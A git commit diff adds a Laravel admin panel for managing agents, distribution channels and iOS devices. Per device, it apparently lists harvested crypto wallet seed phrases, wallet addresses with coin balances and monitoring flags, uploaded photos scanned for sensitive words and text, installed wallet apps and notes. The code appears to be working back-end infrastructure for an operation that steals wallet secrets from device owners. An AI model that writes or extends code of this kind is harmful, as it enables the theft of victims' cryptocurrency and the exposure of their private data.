This commit is contained in:
hashbro
2026-08-08 05:09:01 +08:00
parent 03a40105fc
commit 74a67c3900
523 changed files with 669 additions and 5965 deletions
@@ -0,0 +1,115 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use Illuminate\Http\Request;
use Illuminate\Validation\Rule;
class AdminUserController extends Controller
{
public function index()
{
return view('admin.system.admins');
}
public function data(Request $request)
{
$q = Admin::query();
$username = trim((string) $request->query('username', ''));
if ($username !== '') {
$q->where('username', 'like', '%'.$username.'%');
}
$sortable = ['id', 'username', 'is_super', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$selfId = (int) auth('admin')->id();
$data = collect($paginator->items())->map(function (Admin $a) use ($selfId) {
return [
'id' => $a->id,
'username' => $a->username,
'is_super' => (int) $a->is_super,
'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'),
'is_self' => $a->id === $selfId,
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function store(Request $request)
{
$data = $request->validate([
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('admins', 'username')],
'password' => ['required', 'string', 'min:6', 'max:128'],
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$admin = Admin::query()->create([
'username' => $data['username'],
'password' => $data['password'],
'is_super' => (int) ($data['is_super'] ?? 0),
]);
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $admin->id]]);
}
public function update(Request $request, Admin $adminUser)
{
$data = $request->validate([
'password' => ['nullable', 'string', 'min:6', 'max:128'],
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('is_super', $data) && $data['is_super'] !== null) {
$newSuper = (int) $data['is_super'];
if ($adminUser->isSuper() && $newSuper === 0 && $this->superCount() <= 1) {
return response()->json(['code' => 1, 'msg' => '至少保留一名超级管理员'], 422);
}
$adminUser->is_super = $newSuper;
}
if (! empty($data['password'])) {
$adminUser->password = $data['password'];
}
$adminUser->save();
return response()->json(['code' => 0, 'msg' => 'ok']);
}
public function destroy(Admin $adminUser)
{
if ((int) $adminUser->id === (int) auth('admin')->id()) {
return response()->json(['code' => 1, 'msg' => '不能删除当前登录账号'], 422);
}
if ($adminUser->isSuper() && $this->superCount() <= 1) {
return response()->json(['code' => 1, 'msg' => '不能删除最后一名超级管理员'], 422);
}
$adminUser->delete();
return response()->json(['code' => 0, 'msg' => 'ok']);
}
private function superCount(): int
{
return (int) Admin::query()->where('is_super', 1)->count();
}
}
@@ -0,0 +1,121 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Channel;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Validation\Rule;
class AgentUserController extends Controller
{
public function index()
{
return view('admin.agents.index');
}
public function data(Request $request)
{
$q = User::query()->withCount('channels');
$username = trim((string) $request->query('username', ''));
$status = $request->query('status');
if ($username !== '') {
$q->where('username', 'like', '%'.$username.'%');
}
if ($status !== null && $status !== '') {
$q->where('status', (int) $status);
}
$sortable = ['id', 'username', 'status', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (User $u) {
return [
'id' => $u->id,
'username' => $u->username,
'status' => (int) $u->status,
'comment' => $u->comment ?: '',
'channels_count' => (int) $u->channels_count,
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function store(Request $request)
{
$data = $request->validate([
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('users', 'username')],
'password' => ['required', 'string', 'min:6', 'max:128'],
'comment' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$user = User::query()->create([
'username' => $data['username'],
'password' => $data['password'],
'comment' => $data['comment'] ?? null,
'status' => (int) ($data['status'] ?? 1),
]);
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
}
public function update(Request $request, User $agent)
{
$data = $request->validate([
'password' => ['nullable', 'string', 'min:6', 'max:128'],
'comment' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('comment', $data)) {
$agent->comment = $data['comment'];
}
if (array_key_exists('status', $data) && $data['status'] !== null) {
$agent->status = (int) $data['status'];
}
if (! empty($data['password'])) {
$agent->password = $data['password'];
}
$agent->save();
return response()->json(['code' => 0, 'msg' => 'ok']);
}
public function channels(User $agent)
{
$rows = Channel::query()
->where('user_id', $agent->id)
->orderByDesc('id')
->get()
->map(fn (Channel $c) => [
'id' => $c->id,
'channel_id' => $c->channel_id,
'status' => (int) $c->status,
'remark' => $c->remark ?: '',
'links' => $c->supportLinks(),
])
->values();
return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]);
}
}
@@ -0,0 +1,52 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class AuthController extends Controller
{
public function showLogin()
{
if (Auth::guard('admin')->check()) {
return redirect()->route('admin.home');
}
return view('admin.login');
}
public function home()
{
return view('admin.shell');
}
public function login(Request $request)
{
$credentials = $request->validate([
'username' => 'required|string',
'password' => 'required|string',
]);
if (Auth::guard('admin')->attempt(
['username' => $credentials['username'], 'password' => $credentials['password']],
$request->boolean('remember')
)) {
$request->session()->regenerate();
return redirect()->intended(route('admin.home'));
}
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
}
public function logout(Request $request)
{
Auth::guard('admin')->logout();
$request->session()->invalidate();
$request->session()->regenerateToken();
return redirect()->route('admin.login');
}
}
@@ -0,0 +1,296 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Channel;
use App\Models\User;
use App\Services\ChannelProjectService;
use App\Services\SettingsService;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Validation\Rule;
use Illuminate\Validation\ValidationException;
class ChannelController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.channels.index', [
'portal' => $this->portal(),
'agents' => $agents,
'maxPerAgent' => Channel::maxPerAgent(),
]);
}
public function data(Request $request)
{
$q = Channel::query()->with('user:id,username');
if ($agent = $this->agent()) {
$q->where('user_id', $agent->id);
}
$channelId = trim((string) $request->query('channel_id', ''));
$agentUserId = $request->query('agent_user_id');
$status = $request->query('status');
if ($channelId !== '') {
$q->where('channel_id', 'like', '%'.$channelId.'%');
}
if (! $this->isAgentPortal() && $agentUserId !== null && $agentUserId !== '') {
$q->where('user_id', (int) $agentUserId);
}
if ($status !== null && $status !== '') {
$q->where('status', (int) $status);
}
$sortable = ['id', 'channel_id', 'status', 'user_id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Channel $c) {
$domains = Channel::normalizeDomainList($c->domains);
return [
'id' => $c->id,
'channel_id' => $c->channel_id,
'user_id' => (int) $c->user_id,
'agent_username' => $c->agentLabel(),
'domains' => $domains,
'domains_text' => implode("\n", $domains),
'remark' => $c->remark ?: '',
'status' => (int) $c->status,
'links' => $c->supportLinks(),
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function randomId()
{
return response()->json([
'code' => 0,
'msg' => '',
'data' => ['channel_id' => Channel::randomChannelId()],
]);
}
public function store(Request $request, ChannelProjectService $projects)
{
abort_if($this->isAgentPortal(), 403);
$data = $request->validate([
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
'user_id' => ['nullable', 'integer', 'min:0'],
'domains' => ['nullable', 'string', 'max:4000'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$domains = SettingsService::parseDomains($data['domains'] ?? null);
$this->assertAgentChannelQuota($userId);
try {
$projects->generate($data['channel_id'], $domains);
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
'msg' => $e->getMessage() ?: '渠道资源生成失败',
], 422);
}
try {
$channel = DB::transaction(function () use ($data, $userId, $domains) {
if ($userId > 0) {
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
if (! $userExists) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
// The user row lock serializes quota checks for this agent.
$this->assertAgentChannelQuota($userId);
}
return Channel::query()->create([
'channel_id' => $data['channel_id'],
'user_id' => $userId,
'domains' => $domains,
'remark' => $data['remark'] ?? null,
'status' => (int) ($data['status'] ?? 1),
]);
});
} catch (\Throwable $e) {
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id']);
return response()->json([
'code' => 1,
'msg' => $e->getMessage() ?: '创建失败',
], 422);
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'id' => $channel->id,
'links' => $channel->supportLinks(),
],
]);
}
public function update(Request $request, Channel $channel)
{
$this->authorizeChannel($channel);
if ($this->isAgentPortal()) {
$data = $request->validate([
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('remark', $data)) {
$channel->remark = $data['remark'];
}
if (array_key_exists('status', $data) && $data['status'] !== null) {
$channel->status = (int) $data['status'];
}
} else {
$data = $request->validate([
'user_id' => ['nullable', 'integer', 'min:0'],
'domains' => ['nullable', 'string', 'max:4000'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('user_id', $data)) {
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
if ($userId !== (int) $channel->user_id && $userId > 0) {
$this->assertAgentChannelQuota($userId, $channel->id);
}
$channel->user_id = $userId;
}
if (array_key_exists('domains', $data)) {
$channel->domains = SettingsService::parseDomains($data['domains']);
}
if (array_key_exists('remark', $data)) {
$channel->remark = $data['remark'];
}
if (array_key_exists('status', $data) && $data['status'] !== null) {
$channel->status = (int) $data['status'];
}
}
$channel->save();
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => ['links' => $channel->supportLinks()],
]);
}
public function destroy(Channel $channel, ChannelProjectService $projects)
{
abort_if($this->isAgentPortal(), 403);
$this->authorizeChannel($channel);
$channelId = $channel->channel_id;
try {
// Delete remotely first: a failed remote delete leaves the DB row available
// for a safe retry instead of orphaning an unreachable static project.
$projects->deleteWebTree($channelId);
DB::transaction(static fn () => $channel->delete());
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
'msg' => $e->getMessage() ?: '删除失败',
], 422);
}
return response()->json(['code' => 0, 'msg' => 'ok']);
}
private function assertAgentChannelQuota(int $userId, ?int $exceptChannelId = null): void
{
if ($userId <= 0) {
return;
}
$q = Channel::query()->where('user_id', $userId);
if ($exceptChannelId) {
$q->where('id', '!=', $exceptChannelId);
}
$count = $q->count();
$max = Channel::maxPerAgent();
if ($count >= $max) {
throw ValidationException::withMessages([
'user_id' => "该代理最多只能拥有 {$max} 条渠道链接",
]);
}
}
private function authorizeChannel(Channel $channel): void
{
if ($agent = $this->agent()) {
abort_unless((int) $channel->user_id === (int) $agent->id, 403);
}
}
private function compensateBuildUnlessChannelExists(
ChannelProjectService $projects,
string $channelId
): void {
try {
// A concurrent request may have won the unique channel_id insert. Its
// project must not be removed by this request's compensation.
if (Channel::query()->where('channel_id', $channelId)->exists()) {
return;
}
} catch (\Throwable $e) {
Log::warning('Skipped channel build compensation because DB state is unknown', [
'channel_id' => $channelId,
'error' => $e->getMessage(),
]);
return;
}
try {
$projects->deleteWebTree($channelId);
} catch (\Throwable $e) {
Log::error('Failed to compensate channel build', [
'channel_id' => $channelId,
'error' => $e->getMessage(),
]);
}
}
}
@@ -0,0 +1,83 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\User;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Http\Request;
class DashboardController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.dashboard.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
public function data(Request $request)
{
$range = (string) $request->query('range', '30d');
[$from, $to] = $this->rangeBounds($range);
$channelId = trim((string) $request->query('channel_id', ''));
$agentUserId = $this->isAgentPortal()
? (int) ($this->agent()?->id ?? 0)
: (int) $request->query('agent_user_id', 0);
$base = Device::query();
AgentScope::applyDeviceChannelScope($base, $this->agent());
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($base, $agentUserId);
}
if ($channelId !== '') {
$base->where('channel_id', 'like', '%'.$channelId.'%');
}
$total = (clone $base)->count();
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'total' => $total,
'new_count' => $newCount,
'active_count' => $activeCount,
'range' => $range,
'from' => $from->toDateTimeString(),
'to' => $to->toDateTimeString(),
],
]);
}
/**
* @return array{0: Carbon, 1: Carbon}
*/
private function rangeBounds(string $range): array
{
$now = Carbon::now();
return match ($range) {
'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
'yesterday' => [
$now->copy()->subDay()->startOfDay(),
$now->copy()->subDay()->endOfDay(),
],
'7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
};
}
}
@@ -0,0 +1,383 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
class DeviceController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.devices.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
public function data(Request $request)
{
$filters = $this->filtersFrom($request);
$q = $this->filteredQuery($filters);
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'updated_at');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'updated_at';
}
$q->orderBy('devices.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (Device $d) use ($portal) {
return [
'id' => $d->id,
'device_id' => $d->device_id,
'channel_id' => $d->channel_id ?: '',
'device_model' => $d->device_model ?: '',
'ios_version' => $d->ios_version ?: '',
'ip' => $d->ip ?: '',
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $d),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function show(Device $device, Request $request)
{
$this->authorizeDevice($device);
$tab = $request->query('tab', 'wallets');
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
$tab = 'wallets';
}
$addressSources = collect();
$addressChains = collect();
if ($tab === 'wallets') {
$addressSources = $device->addresses()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source')
->values();
$addressChains = $device->addresses()
->whereNotNull('chain_type')
->where('chain_type', '!=', '')
->distinct()
->orderBy('chain_type')
->pluck('chain_type')
->values();
}
return view('admin.devices.show', [
'device' => $device,
'tab' => $tab,
'addressSources' => $addressSources,
'addressChains' => $addressChains,
'portal' => $this->portal(),
]);
}
public function tabData(Device $device, Request $request)
{
$this->authorizeDevice($device);
$tab = (string) $request->query('tab', 'wallets');
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
$field = (string) $request->query('field', 'id');
return match ($tab) {
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
};
}
public function photo(Device $device, int $photo)
{
$this->authorizeDevice($device);
$row = $device->photos()->whereKey($photo)->firstOrFail();
abort_unless(Storage::disk('local')->exists($row->path), 404);
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
return response(Storage::disk('local')->get($row->path), 200)
->header('Content-Type', $mime);
}
private function authorizeDevice(Device $device): void
{
if ($agent = $this->agent()) {
$ids = AgentScope::channelIdsFor($agent);
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
}
}
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q = $device->photos();
// sensitive=1 → x_hit > 0(含敏感词)
if ((string) $request->query('sensitive', '') === '1') {
$q->where('x_hit', '>', 0);
}
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) {
return [
'id' => $photo->id,
'url' => route($portal.'.devices.photo', [$device, $photo->id]),
'sha256' => $photo->sha256 ?: '',
'size' => $photo->size,
'x_hit' => $photo->x_hit,
'upload_count' => $photo->upload_count,
'process_index' => $photo->process_index,
'text_count' => $photo->text_count,
'barcode_count' => $photo->barcode_count,
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'chain_type', 'address', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q = $device->addresses();
$source = trim((string) $request->query('source', ''));
if ($source !== '') {
$q->where('source', $source);
}
$chainType = trim((string) $request->query('chain_type', ''));
if ($chainType !== '') {
$q->where('chain_type', $chainType);
}
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
$coins = $addr->formattedCoins();
return [
'id' => $addr->id,
'source' => $addr->source ?: '',
'chain_type' => $addr->chain_type ?: '',
'address' => $addr->address,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'monitor' => (int) $addr->monitor,
'created_at' => optional($addr->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($addr->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateMnemonics(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (WalletMnemonic $w) {
return [
'id' => $w->id,
'source' => $w->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'is_wallet';
$order = 'desc';
}
$q = $device->apps();
if ($field === 'is_wallet') {
$q->orderByDesc('is_wallet')->orderBy('name');
} else {
$q->orderBy($field, $order);
}
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (DeviceApp $app) {
return [
'id' => $app->id,
'name' => $app->name ?: '',
'bundle_id' => $app->bundle_id ?: '',
'version' => $app->version ?: '',
'is_wallet' => (bool) $app->is_wallet,
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->notes()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Note $note) {
$content = $note->content;
if (is_array($content)) {
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
return [
'id' => $note->id,
'content' => $content ?: '',
'created_at' => optional($note->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($note->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'event_name', 'desc', 'created_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->events()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (DeviceEvent $ev) {
return [
'id' => $ev->id,
'event_name' => $ev->event_name ?: '',
'desc' => $ev->desc ?: '',
'context' => $ev->context_json
? json_encode($ev->context_json, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
: '',
'created_at' => optional($ev->created_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
/**
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
*/
private function layuiPage(int $count, $data)
{
return response()->json([
'code' => 0,
'msg' => '',
'count' => $count,
'data' => $data,
]);
}
/**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int}
*/
private function filtersFrom(Request $request): array
{
return [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
'ios' => trim((string) $request->query('ios', '')),
'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')),
'agent_user_id' => (int) $request->query('agent_user_id', 0),
];
}
/**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int} $filters
*/
private function filteredQuery(array $filters): Builder
{
$q = Device::query()->select('devices.*');
AgentScope::applyDeviceChannelScope($q, $this->agent());
if ($filters['device_key'] !== '') {
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
}
if ($filters['channel_id'] !== '') {
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
}
if ($filters['model'] !== '') {
$q->where('devices.device_model', 'like', '%'.$filters['model'].'%');
}
if ($filters['ip'] !== '') {
$q->where('devices.ip', 'like', '%'.$filters['ip'].'%');
}
if ($filters['ios'] !== '') {
$q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%');
}
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) {
$q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10));
}
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
}
if (! $this->isAgentPortal() && $filters['agent_user_id'] > 0) {
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
}
return $q;
}
}
@@ -0,0 +1,106 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class MnemonicController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletMnemonic::query()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.mnemonics.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_mnemonics.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
private function baseQuery(Request $request): Builder
{
$q = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->select([
'wallet_mnemonics.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
$q->where('wallet_mnemonics.source', $source);
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,99 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Note;
use App\Models\User;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class NoteController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.notes.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('notes.'.$field, $order);
